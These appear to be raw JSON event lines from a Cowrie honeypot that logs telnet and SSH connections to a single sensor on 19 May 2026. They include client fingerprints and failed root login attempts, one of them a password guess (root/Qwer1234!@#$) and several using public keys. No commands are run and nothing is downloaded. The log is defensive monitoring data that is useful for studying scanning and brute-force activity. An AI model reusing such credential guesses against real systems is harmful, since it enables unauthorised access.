{"eventid":"cowrie.session.closed","duration":38.09474015235901,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:09.148051Z","src_ip":"192.119.13.58","session":"8b95e5aa3fb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.78081440925598,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:09.340592Z","src_ip":"192.119.13.58","session":"769e8d0ceb2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33890,"dst_ip":"10.17.0.5","dst_port":23,"session":"29808d78b9cb","protocol":"telnet","message":"New connection: 192.119.13.58:33890 (10.17.0.5:23) [session: 29808d78b9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:12.266567Z"}
{"eventid":"cowrie.session.closed","duration":47.11041450500488,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:12.849730Z","src_ip":"192.119.13.58","session":"bc7074dbc6f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39788,"dst_ip":"10.17.0.5","dst_port":23,"session":"95be3bc51ff4","protocol":"telnet","message":"New connection: 192.119.13.58:39788 (10.17.0.5:23) [session: 95be3bc51ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:13.685942Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40000,"dst_ip":"10.17.0.5","dst_port":23,"session":"70728babd2a5","protocol":"telnet","message":"New connection: 192.119.13.58:40000 (10.17.0.5:23) [session: 70728babd2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:13.737897Z"}
{"eventid":"cowrie.session.closed","duration":47.476146936416626,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:15.544313Z","src_ip":"192.119.13.58","session":"0db2e8bbb23e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56140,"dst_ip":"10.17.0.5","dst_port":23,"session":"86e2fdbb2d6b","protocol":"telnet","message":"New connection: 192.119.13.58:56140 (10.17.0.5:23) [session: 86e2fdbb2d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:17.687029Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37786,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9023baca728","protocol":"telnet","message":"New connection: 192.119.13.58:37786 (10.17.0.5:23) [session: b9023baca728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:20.079108Z"}
{"eventid":"cowrie.session.closed","duration":44.06762766838074,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:20.661708Z","src_ip":"192.119.13.58","session":"f8e4257e8362","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60044,"dst_ip":"10.17.0.5","dst_port":23,"session":"11a944cef469","protocol":"telnet","message":"New connection: 192.119.13.58:60044 (10.17.0.5:23) [session: 11a944cef469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:25.238689Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43314,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b078e4f7dac","protocol":"telnet","message":"New connection: 192.119.13.58:43314 (10.17.0.5:23) [session: 8b078e4f7dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:27.937414Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":44548,"dst_ip":"10.17.0.5","dst_port":22,"session":"a38ad7246de7","protocol":"ssh","message":"New connection: 193.39.208.26:44548 (10.17.0.5:22) [session: a38ad7246de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:29.152658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:29.158002Z","src_ip":"193.39.208.26","session":"a38ad7246de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:29.240828Z","src_ip":"193.39.208.26","session":"a38ad7246de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.951380014419556,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:29.317092Z","src_ip":"192.119.13.58","session":"b367e2a4bb25","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234!@#$","message":"login attempt [root/Qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:29.606512Z","src_ip":"193.39.208.26","session":"a38ad7246de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:30.692760Z","src_ip":"193.39.208.26","session":"a38ad7246de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.48059129714966,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:31.003105Z","src_ip":"192.119.13.58","session":"b20e388f8e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47618,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5ce22114ace","protocol":"telnet","message":"New connection: 192.119.13.58:47618 (10.17.0.5:23) [session: d5ce22114ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:35.748561Z"}
{"eventid":"cowrie.session.closed","duration":40.837010622024536,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:39.544194Z","src_ip":"192.119.13.58","session":"bd2e54648030","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.359864473342896,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:42.779198Z","src_ip":"192.119.13.58","session":"6f9b1cb4aec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.21496629714966,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:43.657152Z","src_ip":"192.119.13.58","session":"2c079e42b443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57536,"dst_ip":"10.17.0.5","dst_port":23,"session":"bee9cad0234a","protocol":"telnet","message":"New connection: 192.119.13.58:57536 (10.17.0.5:23) [session: bee9cad0234a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:44.959528Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.60","src_port":59566,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce818bc909b1","protocol":"ssh","message":"New connection: 198.98.55.60:59566 (10.17.0.5:22) [session: ce818bc909b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.058896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.063156Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.083388Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:80:72:90:5e:b6:34:43:35:ad:bd:a9:a8:3b:b0:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVIZZl7iMhUsI4I2rX+bJ1P8SPcgyn5IL2/gK4F9R2+YTbsQaUC07x1WLicCSAEdjFWbmRH1RUmREUDyjwfEqXZo9beeuFQdLCaC64yCSCV/QKLsqcBWGGEIHYx/EaaT+OA3YXWfF0A+tfMfgBx8RTmpZNTeNXjxYbBFprQbYm1oDs0GrTFQ03h7OLT5zW51jjLptyyuCI7oBbYHGcxby2uGkjPPWFLcYXorrpDcG9UPePc84ATbd1wcl0gCWA79ZgqMcax8FD35VafZhmjTZujFXXlCB8dZjZZfSz4MHnEzjiRlfVwwbQZivHSapAD3c1pnaJfLDotAxKu47K3JeH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:80:72:90:5e:b6:34:43:35:ad:bd:a9:a8:3b:b0:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.106098Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:80:72:90:5e:b6:34:43:35:ad:bd:a9:a8:3b:b0:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVIZZl7iMhUsI4I2rX+bJ1P8SPcgyn5IL2/gK4F9R2+YTbsQaUC07x1WLicCSAEdjFWbmRH1RUmREUDyjwfEqXZo9beeuFQdLCaC64yCSCV/QKLsqcBWGGEIHYx/EaaT+OA3YXWfF0A+tfMfgBx8RTmpZNTeNXjxYbBFprQbYm1oDs0GrTFQ03h7OLT5zW51jjLptyyuCI7oBbYHGcxby2uGkjPPWFLcYXorrpDcG9UPePc84ATbd1wcl0gCWA79ZgqMcax8FD35VafZhmjTZujFXXlCB8dZjZZfSz4MHnEzjiRlfVwwbQZivHSapAD3c1pnaJfLDotAxKu47K3JeH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.109754Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:f7:43:25:0e:10:7d:55:58:9d:37:3e:49:2b:8d:78","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJCmQ9iSOk+hHcKj2Z3V4/bD8wERB8fYJrHyxHdiN2opEymUl2dpb7y15wuFW8gQ9X6aFKsaapA7dVFu8FnvyzhESrUiA8Zg/w8cQLEADDE53rFw9g6cUSca5qCPEJWr67RxBsEzsX2qMGQ5bVy3LGI2xlPh95tBn1dOQ+Pau3BPAAAAFQCneODiRmEslGcr+I57bZpKv4fxfwAAAIAnC+CYPEf5IXxRyV3swkbmVRESkbSN3dAUGb5PEJpjk0iMTsrjnTNMvs3J+OWuj+bZe4EbBX9E9CEgT0vnzW9xmmTlfxbYC/PR3EGt4PykQAoFHZ69pW9dH08ynJv/ov5mraeBejbxS8YqSRHlZPihaXI2uOPHDgz9R8QJe4DF/gAAAIAONlnlLMQohUiZzSiCFDPfnq6eb/KducHZ/w3pqwy9QkJFWRC1jL0BRRwPBCpbBO1pgkPHyk19m6RtJJ6xpgTY8jV+Q0KTtDnHHtrP0P7cXJtpjIhcGFbGBasbwR64+yHeAwTKWhIjo08FUKOy9rMbCDMkn4M6a4Q6BIcS+aYZZA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 22:f7:43:25:0e:10:7d:55:58:9d:37:3e:49:2b:8d:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.118647Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:f7:43:25:0e:10:7d:55:58:9d:37:3e:49:2b:8d:78","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJCmQ9iSOk+hHcKj2Z3V4/bD8wERB8fYJrHyxHdiN2opEymUl2dpb7y15wuFW8gQ9X6aFKsaapA7dVFu8FnvyzhESrUiA8Zg/w8cQLEADDE53rFw9g6cUSca5qCPEJWr67RxBsEzsX2qMGQ5bVy3LGI2xlPh95tBn1dOQ+Pau3BPAAAAFQCneODiRmEslGcr+I57bZpKv4fxfwAAAIAnC+CYPEf5IXxRyV3swkbmVRESkbSN3dAUGb5PEJpjk0iMTsrjnTNMvs3J+OWuj+bZe4EbBX9E9CEgT0vnzW9xmmTlfxbYC/PR3EGt4PykQAoFHZ69pW9dH08ynJv/ov5mraeBejbxS8YqSRHlZPihaXI2uOPHDgz9R8QJe4DF/gAAAIAONlnlLMQohUiZzSiCFDPfnq6eb/KducHZ/w3pqwy9QkJFWRC1jL0BRRwPBCpbBO1pgkPHyk19m6RtJJ6xpgTY8jV+Q0KTtDnHHtrP0P7cXJtpjIhcGFbGBasbwR64+yHeAwTKWhIjo08FUKOy9rMbCDMkn4M6a4Q6BIcS+aYZZA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.122805Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:75:65:af:f1:19:05:5a:dc:f3:e8:f1:f3:3c:6e:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeKkY1OieTbypbcB6V5He5vB4bzQmQFQoSZa6SiADqXOgwsDLjsHf9sdLSlo96opeq21R0MOmEAkJ/PEbkZIaqTI8ja893GfnQ4XMwMMm+lZqkfHQ9DMRLYazMtvDURWy0upO3R0EmDQr9Zy/sikQYBgPMejyaVCTwA4WgvFyeplsmqTAiwIPK+GmYapTdfvn2aeAy56Fbafo9NNNKYJJEM+HtfB/Hs8Ji4YOD/DMrBeI47hkaCd9HitqiYAb029uYNV0aHA/fA6NegkdTsWYST+pLmwpGxA6BhnGwpaaWw27tWAbZN6CdMinwaqU7OMa+fwetoftYdTE032WLIlGF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:75:65:af:f1:19:05:5a:dc:f3:e8:f1:f3:3c:6e:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.133581Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:75:65:af:f1:19:05:5a:dc:f3:e8:f1:f3:3c:6e:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeKkY1OieTbypbcB6V5He5vB4bzQmQFQoSZa6SiADqXOgwsDLjsHf9sdLSlo96opeq21R0MOmEAkJ/PEbkZIaqTI8ja893GfnQ4XMwMMm+lZqkfHQ9DMRLYazMtvDURWy0upO3R0EmDQr9Zy/sikQYBgPMejyaVCTwA4WgvFyeplsmqTAiwIPK+GmYapTdfvn2aeAy56Fbafo9NNNKYJJEM+HtfB/Hs8Ji4YOD/DMrBeI47hkaCd9HitqiYAb029uYNV0aHA/fA6NegkdTsWYST+pLmwpGxA6BhnGwpaaWw27tWAbZN6CdMinwaqU7OMa+fwetoftYdTE032WLIlGF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.137366Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:7a:a8:33:d2:07:f0:92:0b:76:e5:00:62:bf:da:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAPL9hqNnxwS0x9bma8LNJB5LBPcZNKN9JMNLNmQhRkwKqo7RLcfm3KoU7mji95qQrwNYedhdq+gjZjuXa05kblSJw2NxxQ2eXBXCNDbI1FbX7AHZLX3u4/AINotXTNr4Cqq4IBRczFCPjFbhXlRLzqdrotvxz6vAin6aPN8eadOOWVMvox8+ARmXhkhbcNUqRz4rQQAa66LxAtwno5591NvPZPuFwqaaMfImAJj10ad5oDDm4U4YsHv+pcy9x9uasDag4XSuUsXHmUqmCjH1ShyF9oSgkOSjLiCBsafza7m560cU124VivwPhpPzfyAk3ECtAetcMxPhY9uM4h/b1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:7a:a8:33:d2:07:f0:92:0b:76:e5:00:62:bf:da:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.147819Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:7a:a8:33:d2:07:f0:92:0b:76:e5:00:62:bf:da:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAPL9hqNnxwS0x9bma8LNJB5LBPcZNKN9JMNLNmQhRkwKqo7RLcfm3KoU7mji95qQrwNYedhdq+gjZjuXa05kblSJw2NxxQ2eXBXCNDbI1FbX7AHZLX3u4/AINotXTNr4Cqq4IBRczFCPjFbhXlRLzqdrotvxz6vAin6aPN8eadOOWVMvox8+ARmXhkhbcNUqRz4rQQAa66LxAtwno5591NvPZPuFwqaaMfImAJj10ad5oDDm4U4YsHv+pcy9x9uasDag4XSuUsXHmUqmCjH1ShyF9oSgkOSjLiCBsafza7m560cU124VivwPhpPzfyAk3ECtAetcMxPhY9uM4h/b1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.151856Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:2d:b8:22:05:24:75:c4:e1:f4:47:9f:e0:67:e9:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPvE/llM29JjyzzcKn6UtezSUhnZKGHg+bajb2mjxrd6","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c4:2d:b8:22:05:24:75:c4:e1:f4:47:9f:e0:67:e9:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.160332Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:2d:b8:22:05:24:75:c4:e1:f4:47:9f:e0:67:e9:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPvE/llM29JjyzzcKn6UtezSUhnZKGHg+bajb2mjxrd6","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.163958Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.172013Z","src_ip":"198.98.55.60","session":"ce818bc909b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38432,"dst_ip":"10.17.0.5","dst_port":23,"session":"e997f15c2a43","protocol":"telnet","message":"New connection: 192.119.13.58:38432 (10.17.0.5:23) [session: e997f15c2a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.180284Z"}
{"eventid":"cowrie.session.closed","duration":0.0040204524993896484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:47.184216Z","src_ip":"192.119.13.58","session":"e997f15c2a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.019468784332275,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:49.757233Z","src_ip":"192.119.13.58","session":"70728babd2a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52906,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e720502b6eb","protocol":"telnet","message":"New connection: 192.119.13.58:52906 (10.17.0.5:23) [session: 8e720502b6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:50.552113Z"}
{"eventid":"cowrie.session.closed","duration":46.280556440353394,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:50.661298Z","src_ip":"192.119.13.58","session":"92270db0f42a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.81920075416565,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:51.085619Z","src_ip":"192.119.13.58","session":"29808d78b9cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57254,"dst_ip":"10.17.0.5","dst_port":23,"session":"af695d59b502","protocol":"telnet","message":"New connection: 192.119.13.58:57254 (10.17.0.5:23) [session: af695d59b502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:51.566828Z"}
{"eventid":"cowrie.session.closed","duration":39.052953004837036,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:52.738814Z","src_ip":"192.119.13.58","session":"95be3bc51ff4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.843857765197754,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:52.881824Z","src_ip":"192.119.13.58","session":"4121b97a072a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":45464,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b55011da081","protocol":"ssh","message":"New connection: 87.251.79.125:45464 (159.203.135.109:22) [session: 8b55011da081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:56.948117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:56.956384Z","src_ip":"87.251.79.125","session":"8b55011da081","protocol":"ssh"}
